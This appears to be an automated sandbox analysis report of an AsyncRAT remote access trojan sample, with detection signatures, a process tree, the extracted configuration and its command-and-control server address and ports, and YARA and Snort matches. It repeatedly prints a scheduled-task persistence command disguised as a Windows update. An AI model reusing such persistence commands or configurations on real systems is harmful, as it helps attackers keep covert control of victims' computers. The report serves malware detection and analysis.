Edit tour

Windows Analysis Report
EGSh5caf8a.exe

Overview

General Information

Sample name:	EGSh5caf8a.exe renamed because original name is a hash value
Original sample name:	712940BAEF78C821E36B8701BF073C52.exe
Analysis ID:	1428675
MD5:	712940baef78c821e36b8701bf073c52
SHA1:	d59896b87424fafc0d00ab5e5c2019bd941167ce
SHA256:	08f8498aec75418bb4c12972a6547ee2c4762160e7bf36c558a91b7b9110ed3f
Tags:	AsyncRATexeRAT
Infos:

Detection

AsyncRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	46
Range:	0 - 100

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected AsyncRAT

.NET source code contains potential unpacker

Allocates memory in foreign processes

Connects to many ports of the same IP (likely port scanning)

Injects a PE file into a foreign processes

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Too many similar processes found

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

EGSh5caf8a.exe (PID: 180 cmdline: "C:\Users\user\Desktop\EGSh5caf8a.exe" MD5: 712940BAEF78C821E36B8701BF073C52)

schtasks.exe (PID: 4816 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6748 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6608 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:39 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4692 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:40 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5856 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:41 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2412 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:42 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2256 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2924 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5172 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:44 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6672 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:45 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6452 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:46 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5648 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:47 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3300 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6192 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3960 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:49 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5868 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:50 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6220 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:51 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6616 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:52 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4252 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3092 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5464 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:54 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5468 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:55 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2856 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:56 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5736 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:57 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7268 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:01 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7352 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:07 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7420 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:13 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7476 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:17 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7524 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:21 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7572 cmdline: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:25 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/ https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Malware Configuration

Threatname: AsyncRAT

{"Ports": ["6606", "7707", "8808"], "Server": ["204.12.199.30"], "Mutex": "Bbtt03i3Zbxo", "Certificate": "MIIE8jCCAtqgAwIBAgIQAOd8JAii5M5++OnIagLrMTANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjQwMjI2MDg0MzU2WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIOYWpZtR4+pV6eLVgmoW0pmFYYGm9MA+E38jZKadM0mAmNmtr24EWva8gLkn0jY887Tz5347cDo2BpaCAsnAktrEy5d5Bpc1aeAqIb0YCxwMJQGMkE0qwGViGunPUyPzzk6qoqQw/BZPNrQh13JLBN/++Xg5rspfo6GrmqAYpcyoh+nmtbBt/wfQsjrDmZ3TBNCniJX4Ax2lfymDtG/oOlmwo0YXGL/rszP7UxRo0V29mFPG5kEm+346UEZRNeIzf1FV/30VxvyZO8v/PBzVZOyav8MFGZSdo/7y8cdzIWwd+LcUAmZtSxFigD6YRLLwry7klVR0MpzqXqm9V7Cyqlbe04xIV1/UjhdSIDmGqnA8AMp+pwJRZRI3RMhE7HTbjzLULjBoUUTkcMLlIAPmflnfyyyHwxOr9SrHGfyecgDHH0q3/LMgH30jejoUvT2WyQYi5O6PdzX4ifLrQO7JJ6QNd6sihnR0U/IjQRaM0TJay0tQd/R3nHkzNjoBFCu/yBUGVVvFJabfpP14a5PCgQI1qG2JKXd49hK0v0B65ZjDY4vwan+qlP9n+KWeeK6jIg1qnkScg/88vUZKBv8mP6s2cbq+TFHgBoxrxVxIiM3N81tWZC7e6BRBcqORtpngao2N+16NLMsjMCjpY0hTeyQOJP9toGnmyY6Moxs0ciTAgMBAAGjMjAwMB0GA1UdDgQWBBRJpCHBn9DcES+YzHzK1/1Xt6WvWzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQAow/Tq1W/Y/rkz41iTb/g5jrpI0VYmar2AH0Gcud9JaLtJ6hs4klWzG/C36xI4ModlwDQqGWTqkhG17pAFwOZV7OPmMqGEXANvDfjrQqu2Zm5YLaMLVVTQNuHKQPAq+n0ILbDre+Rq1oVxxhRCv1Yz/toSe3W3vRefl2GpoPGgwd5xtUnOytoaeFjOyYtXRMDzwbP9bUeSliHCnsBHkhTulMTjKBgJm7cvRw3FqTQAO95qzwIA4eQORnCynTZTM8sLYD597unFJehoZ8MRwEvnhq0od7nUn/JsDVna5mwRbJ413n/XtU7dIZkYvy0gQB0SMS8JPl0T4scz4Xbr0GSoj0YdRQmzlRXcTq9QQVqbE5X3j7voyrfY+fXLdthqeOObS0dALsAkrf6ILiAjr8wCVhW1URzlLBROgRs9swEoilJSdYxbHR9WvI2qw3LekrnZuLzBe8JUUcbDldrZFSUTuPiJYrDLCOQNZRG2uudymPvRqjnNDi9+3g3kzkB4AM7a2qSw+jZW6eXYGUFPeXjBanXsI0MJyNy9APnm3xi95iRqsR8iIqnKWzBqGF1E7LlsfZSn/fs9zZLgZH1CXFtpYxkWItnJdvOWA8q8RlrIZbf9Y7r5vIVwTR5pa+kGhW7Dvn24gaTp22GMRPSVXs1Ye4ztEm8MJbNNja3bUvx64A==", "Server Signature": "OHKZ7NWYl69EYIQcyC6+PGfU36n99thKqZdxN0puh4L1ETCwoOa29nJb96GrK7QKRepJZnvN+MRxczJy/Px1REeunjNO5Y//T/IyjBXZND5C8On0ON2cjRX83tRDp+Ioric9U5TtKN1Jq7L+GIGKanzfukOxSsg4f36h5IIQisCt8l9W8moK6s3BQDkx1NihC7WXyvRxf6UQsOdvhtD6fdi7h8NNBmEf0BwHbT74dNrA/9Te1MtfU1ddPlN6XT4EfFLKmKTpUGlegoneAsMRCPfpQbzmrfWmjXVMvUUg4E4HAWabE5U90mYvb+p9AcTVB+LCTlhs7KD3VtBDoKygN8IJcliOtp5FjfLKAIU6VAOi41SXMIFzGB11kVgd5fvhbJJgN7g3ZGQjesaSlXCmvzTnfyF2vPqvSnqc9KmTtZ2Cun1v4IztyqIlbYhEsSk5aa/MoOYLcVkgndI15PBP9WrrBwZqn3lgI86MOCtPPIilyL0pJLOGHvwRH7pC4AbJzmlvCyq0Foua4LyJGkDoQJsBuoPQF6I8XOlaNx4C0G+2mFZMloUlBPr/BdOawIaAU2SJldYrrCYHElg8YCpncvCfyJoo3GNuX22OdjgIaqORlg0+zv+1xcoKQIlIpcQi/puqHlRAZjEy5ZZC9GOG9dgAPYQopJKO8p/zMoDsP0g="}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x49803:$x1: AsyncRAT 0x49841:$x1: AsyncRAT

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xa36b:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xb698:$a2: Stub.exe 0xb728:$a2: Stub.exe 0x7147:$a3: get_ActivatePong 0xa583:$a4: vmware 0xa3fb:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7ea2:$a6: get_SslClient
00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xa3fd:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xbb23:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xce38:$a2: Stub.exe 0xcec8:$a2: Stub.exe 0x88ff:$a3: get_ActivatePong 0xbd3b:$a4: vmware 0xbbb3:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x965a:$a6: get_SslClient
00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xbbb5:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: EGSh5caf8a.exe PID: 180	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: EGSh5caf8a.exe PID: 180	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: EGSh5caf8a.exe PID: 180	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xeb59:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x182f57:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.EGSh5caf8a.exe.28dc200.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.EGSh5caf8a.exe.28dc200.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x7b23:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x8e38:$a2: Stub.exe 0x8ec8:$a2: Stub.exe 0x48ff:$a3: get_ActivatePong 0x7d3b:$a4: vmware 0x7bb3:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x565a:$a6: get_SslClient
0.2.EGSh5caf8a.exe.28dc200.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x7bb5:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x9923:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xac38:$a2: Stub.exe 0xacc8:$a2: Stub.exe 0x66ff:$a3: get_ActivatePong 0x9b3b:$a4: vmware 0x99b3:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x745a:$a6: get_SslClient
0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x99b5:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST, CommandLine: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\EGSh5caf8a.exe", ParentImage: C:\Users\user\Desktop\EGSh5caf8a.exe, ParentProcessId: 180, ParentProcessName: EGSh5caf8a.exe, ProcessCommandLine: "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST, ProcessId: 4816, ProcessName: schtasks.exe

Snort Signatures

ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server) - Source IP: 204.12.199.30 - Destination IP: 192.168.2.7

Timestamp:	04/19/24-11:37:15.963600
SID:	2030673
Source Port:	8808
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic AsyncRAT Style SSL Cert - Source IP: 204.12.199.30 - Destination IP: 192.168.2.7

Timestamp:	04/19/24-11:37:15.963600
SID:	2035595
Source Port:	8808
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp

